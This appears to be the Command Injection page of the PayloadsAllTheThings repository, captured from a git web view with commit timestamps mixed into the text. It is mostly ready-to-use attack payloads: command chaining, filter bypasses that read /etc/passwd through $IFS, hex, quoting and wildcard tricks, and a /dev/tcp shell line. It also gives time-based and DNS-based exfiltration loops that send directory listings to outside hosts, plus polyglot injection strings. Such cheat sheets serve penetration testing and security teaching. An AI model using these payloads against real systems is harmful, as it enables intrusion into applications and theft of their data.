PayloadsAllTheThings/Command Injection/README.md

280 lines
6.9 KiB
Markdown
Raw Normal View History

# Command Injection
2019-04-21 17:50:50 +00:00
> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.
## Summary
* [Tools](#tools)
* [Exploits](#exploits)
* [Basic commands](#basic-commands)
* [Chaining commands](#chaining-commands)
* [Inside a command](#inside-a-command)
* [Filter Bypasses](#filter-bypasses)
* [Bypass without space](#bypass-without-space)
* [Bypass with a line return](#bypass-with-a-line-return)
2020-03-14 17:11:47 +00:00
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
2019-04-21 17:50:50 +00:00
* [Bypass blacklisted words](#bypass-blacklisted-words)
* [Bypass with single quote](#bypass-with-single-quote)
* [Bypass with double quote](#bypass-with-double-quote)
2019-04-21 17:50:50 +00:00
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash)
* [Bypass with $@](#bypass-with-)
2019-04-21 17:50:50 +00:00
* [Bypass with variable expansion](#bypass-with-variable-expansion)
* [Bypass with wildcards](#bypass-with-wildcards)
* [Challenge](#challenge)
* [Time based data exfiltration](#time-based-data-exfiltration)
* [DNS based data exfiltration](#dns-based-data-exfiltration)
* [Polyglot command injection](#polyglot-command-injection)
* [References](#references)
## Tools
* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix)
2016-10-18 08:01:56 +00:00
2016-10-18 06:39:17 +00:00
## Exploits
2018-08-12 21:30:22 +00:00
2019-04-21 17:50:50 +00:00
### Basic commands
Execute the command and voila :p
2018-08-12 21:30:22 +00:00
```powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
2016-10-18 06:04:50 +00:00
sys:x:3:3:sys:/dev:/bin/sh
2016-10-18 06:02:14 +00:00
```
2019-04-21 17:50:50 +00:00
### Chaining commands
2018-08-12 21:30:22 +00:00
2019-04-21 17:50:50 +00:00
```powershell
2016-11-11 17:17:33 +00:00
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
2017-10-09 21:17:31 +00:00
original_cmd_by_server || ls Only if the first cmd fail
2016-11-11 17:17:33 +00:00
```
2016-10-18 06:02:14 +00:00
2019-04-21 17:50:50 +00:00
### Inside a command
2018-08-12 21:30:22 +00:00
```bash
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```
2019-04-21 17:50:50 +00:00
## Filter Bypasses
### Bypass without space
Works on Linux only.
2018-08-12 21:30:22 +00:00
```powershell
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
2016-11-11 17:17:33 +00:00
swissky@crashlab▸ ~ ▸ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2016-12-20 18:46:06 +00:00
swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
2016-10-18 06:02:14 +00:00
```
2016-10-18 08:01:56 +00:00
2019-04-21 17:50:50 +00:00
Commands execution without spaces, $ or { } - Linux (Bash only)
2018-08-12 21:30:22 +00:00
```powershell
2019-04-21 17:50:50 +00:00
IFS=,;`cat<<<uname,-a`
```
2019-04-21 17:50:50 +00:00
Works on Windows only.
2018-08-12 21:30:22 +00:00
```powershell
2019-04-21 17:50:50 +00:00
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
2017-08-13 14:35:12 +00:00
```
2019-04-21 17:50:50 +00:00
### Bypass with a line return
2018-08-12 21:30:22 +00:00
```powershell
something%0Acat%20/etc/passwd
```
### Bypass characters filter via hex encoding
2020-05-24 12:09:46 +00:00
Linux
```powershell
swissky@crashlab▸ ~ ▸ $ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
swissky@crashlab▸ ~ ▸ $ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```
### Bypass characters filter
Commands execution without backslash and slash - linux bash
2020-05-24 12:09:46 +00:00
```powershell
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1}
/
swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1'
/
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< .
/
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
2019-04-21 17:50:50 +00:00
### Bypass Blacklisted words
#### Bypass with single quote
2018-08-12 21:30:22 +00:00
```powershell
w'h'o'am'i
```
2019-04-21 17:50:50 +00:00
#### Bypass with double quote
2018-08-12 21:30:22 +00:00
```powershell
w"h"o"am"i
```
2019-04-21 17:50:50 +00:00
#### Bypass with backslash and slash
2018-08-12 21:30:22 +00:00
```powershell
2018-08-12 21:30:22 +00:00
w\ho\am\i
/\b\i\n/////s\h
```
2019-04-21 17:50:50 +00:00
#### Bypass with $@
2018-08-12 21:30:22 +00:00
```powershell
who$@ami
2019-04-21 17:50:50 +00:00
echo $0
-> /usr/bin/zsh
echo whoami|$0
```
2019-04-21 17:50:50 +00:00
#### Bypass with variable expansion
2018-08-12 21:30:22 +00:00
```powershell
/???/??t /???/p??s??
2018-08-12 21:30:22 +00:00
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```
2019-04-21 17:50:50 +00:00
#### Bypass with wildcards
```powershell
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```
## Challenge
2018-08-12 21:30:22 +00:00
Challenge based on the previous tricks, what does the following command do:
```powershell
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```
2017-03-03 20:41:00 +00:00
## Time based data exfiltration
2018-08-12 21:30:22 +00:00
2017-03-03 20:41:00 +00:00
Extracting data : char by char
2018-08-12 21:30:22 +00:00
```powershell
2017-03-03 20:41:00 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
2018-08-12 21:30:22 +00:00
real 0m5.007s
user 0m0.000s
sys 0m0.000s
2017-03-03 20:41:00 +00:00
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
2018-08-12 21:30:22 +00:00
real 0m0.002s
user 0m0.000s
sys 0m0.000s
2017-03-03 20:41:00 +00:00
```
## DNS based data exfiltration
2018-08-12 21:30:22 +00:00
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```powershell
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
2019-05-07 16:14:49 +00:00
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```powershell
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
2018-12-25 11:08:32 +00:00
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
## Polyglot command injection
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```
```bash
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
2017-03-03 20:41:00 +00:00
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
2017-08-13 14:35:12 +00:00
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192)